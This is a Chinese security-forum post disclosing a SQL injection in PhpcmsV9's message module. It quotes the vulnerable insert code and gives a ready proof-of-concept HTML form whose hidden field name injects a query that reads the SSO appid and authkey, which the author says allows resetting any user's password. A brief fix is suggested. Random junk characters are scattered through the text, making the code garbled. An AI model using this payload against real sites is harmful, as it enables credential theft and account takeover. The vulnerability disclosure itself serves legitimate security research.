找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2084|回复: 0
打印 上一主题 下一主题

PhpcmsV9 SQL注射修改任意用户密码漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 11:33:10 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
简要描述:
0 y8 _3 c' K& k8 d6 r! D. ^( I" @3 a. B9 V' l% H+ d
第二发如约来到,感谢大家的关注,在第二发中使用了一个无限制的SQL注射,最终目的可以修改任意用户密码,建议确认安全危害等级为高。
% A( k  b' [; J' P4 P' A; K6 u- h7 h5 j! f$ l: }
明天再更新下一个漏洞。9 h' p9 b  k. ~- Z% t7 _( A/ p
详细说明:" ^4 J5 G9 [( I1 T1 z
在/phpcms9/phpcms/modules/message/index.php中有代码如下:
. w9 p) m/ C- l/ L  }
# ]* ?7 k2 `. o% j0 Y+ \$messageid = $this->message_db->insert($_POST['info'],true);
3 q& s# ^1 i3 [( e% f/ w+ E$ g, M3 O% J- `
9 r8 n/ f$ b2 ?5 |7 I) r1 s% h
insert方法是key value的,代码如下:
3 s- z! u# D% _+ ?0 n0 b; c4 P7 n/ {6 k7 G7 @+ D$ v& r
public function insert($data, $table, $return_insert_id = false, $replace = false) {
# g+ {! R4 \' ]  U8 o* d                if(!is_array( $data ) || $table == '' || count($data) == 0) {# E& M. j) X) V6 s
                        return false;# k& K9 @: y" a0 l# t
                }
4 i" b+ Q( d1 A" A$ w+ W9 a4 @               
; V' v- p( Y$ k. x                $fielddata = array_keys($data);+ M! J% }( a& h# G* j8 c) _2 l; l
                $valuedata = array_values($data);, B& J' p/ e* t/ h4 Y! @' N
                array_walk($fielddata, array($this, 'add_special_char'));' U% V# b  \; K( e
                array_walk($valuedata, array($this, 'escape_string'));
; P$ D; J$ S$ C4 ]9 ^. u               
. R. h. O3 ^1 z2 }! l, T2 }                $field = implode (',', $fielddata);( D2 |& J% r+ W* f" \
                $value = implode (',', $valuedata);/ v% t% t: d+ K- Q" z$ Y& L

  H: _+ O+ _2 m5 I/ n2 ?) L                $cmd = $replace ? 'REPLACE INTO' : 'INSERT INTO';1 `; V' [9 o* l0 ^. M. q
                $sql = $cmd.' `'.$this->config['database'].'`.`'.$table.'`('.$field.') VALUES ('.$value.')';. Q  T9 @. ]. d- ?
                $return = $this->execute($sql);& `1 n8 d- z$ Y5 G
                return $return_insert_id ? $this->insert_id() : $return;5 i/ |0 H# d. E7 ?# |
        }. Q; ]; }7 S+ e
5 {& l3 u# ^9 q( K

4 d6 ~8 W/ Z3 b9 x- W嗯,很遗憾的是
( v" f. U( v$ [4 {0 s2 L  }  _% d: F
array_walk($fielddata, array($this, 'add_special_char'));7 r9 ]7 P" M& j

5 `$ E/ B1 K, J# W, {" C/ J8 q: y4 n4 c% m
中并没有对key做任何的过滤,所以,第一段提到的代码导致了一个SQL注射漏洞 :(。! b  L( u4 e* y; |$ Q3 d( e- c

" V1 k5 w/ M/ O* @  l. I到此,为了poc一下,我读取了我本地的authkey,接下来我已经可以重置任意用户密码了,后面的事情我就没有演示了。
- z3 k3 W$ ~$ E: B2 c9 D) t8 V4 A' v# R! Y  `* K- j: k& K
漏洞证明:; \9 N7 n3 E- o3 N
读出了phpsso_server的appid和authkey,然后可以调用client.class.php中的ps_member_edit函数修改任意用户密码。
: F, ~0 l& B# D8 _2 c# U" \) P- h5 Y" m5 u# o) [! Z7 K8 O
* b- N7 P  q: ]8 W9 u' h# Y
表单如下:用户名什么的得自己改一改。
1 j) c* R5 C1 h' t8 Q' j# H<form name="myform" action="http://localhost/phpcms9/index.php?m=message&c=index&a=reply" method="post" id="myform">
! `- Q. J. E. x1 d6 i7 n# q2 Y. q* ~0 s<table width="100%" cellspacing="0" class="table_form">
2 k) `7 R( W  _9 R2 j4 s( \<tr>
% G! N/ _& U* f: ?& s: ~" I+ n<th>标 题:</th>. {$ f, R  f4 c  j) U! j+ |' |
<td><input name="info[subject]" type="text" id="subject" size="30" value="Re: hh"  class="input-text"/></td>" j5 Q1 L: x1 C' v7 H9 j$ x1 u
</tr> 3 l! c( L! I: i, A4 c
<tr>6 Y- W+ q" u2 ]! k* U) B' e# k
<th>内 容:</th>
3 d+ N6 m6 E$ n& F( j% z; n<td><textarea name="info[content]"  id="con" rows="5" cols="50"></textarea></td>  I- M; i. w1 Y3 S1 g
</tr>
% G" o; w- ]+ ^& |, y6 c5 e<input type="hidden" name="info[replyid]" value="2" />
+ @2 z) B* K1 z, d3 B8 i9 L4 x/ a<input type="hidden" name="info[send_to_id]" value="cc" /> # E# k- O( ^% E2 T
<input type="hidden" name="info[send_from_id]" value="hh"># a1 z4 N/ i7 q6 B! o9 s
<!-- 漏洞的利用重点在这里开始 -->7 i  v! y, ?1 Z! m3 i* N. x
<input type="hidden" name="info[`status`) values ((Select group_concat(appid,CHAR(42),authkey) from v9_sso_applications),1,1,1,CHAR(104, 104),1)#]" value="cc" /> 9 l$ `) E& c! E) I% W: q  g" b
<!-- 漏洞的利用重点在这里结束 -->& z8 v5 M  r- ]0 l, e5 d) D
<tr>7 o; Y& n; M5 f# L! x6 ]
<th>验证码:</th>  @( W' y  r8 I4 M* s# e3 h
<td><input name="code" type="text" id="code" size="10"  class="input-text"/> <img id='code_img' onclick='this.src=this.src+"&"+Math.random()' src='http://localhost/phpcms9/api.php?op=checkcode&code_len=4&font_size=14&width=110&height=30&font_color=&background='></td>1 G5 k' T' L( }# c7 a
</tr>8 O4 ], H- X4 K+ u
<tr># ~! [( Z1 M2 s6 K/ w6 Q8 [
<td></td>% n4 r) J/ g- m2 A0 U# x
<td colspan="2"><label>6 v5 H: e* q' ^  `6 f9 S" m
<input type="submit" name="dosubmit" id="dosubmit" value="确 定" class="button"/>0 F4 G+ P7 Z' Q9 D
</label></td>8 A/ O7 X3 j' V# ^
</tr>
2 B& L9 c/ s7 w4 K: O</table>  q' d8 @; Y: h) H/ ]7 f' G5 U
</form>
4 n. e+ a% }6 v' T$ T% `在add_special_char函数内对key做过滤就可以了。
; r* k$ k' X. @! u, ?% z( q- [
/ ]/ G5 }, ]+ g8 C- N
( i; G3 ~7 O7 \- H1 |" z1 s' U( Z# {

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表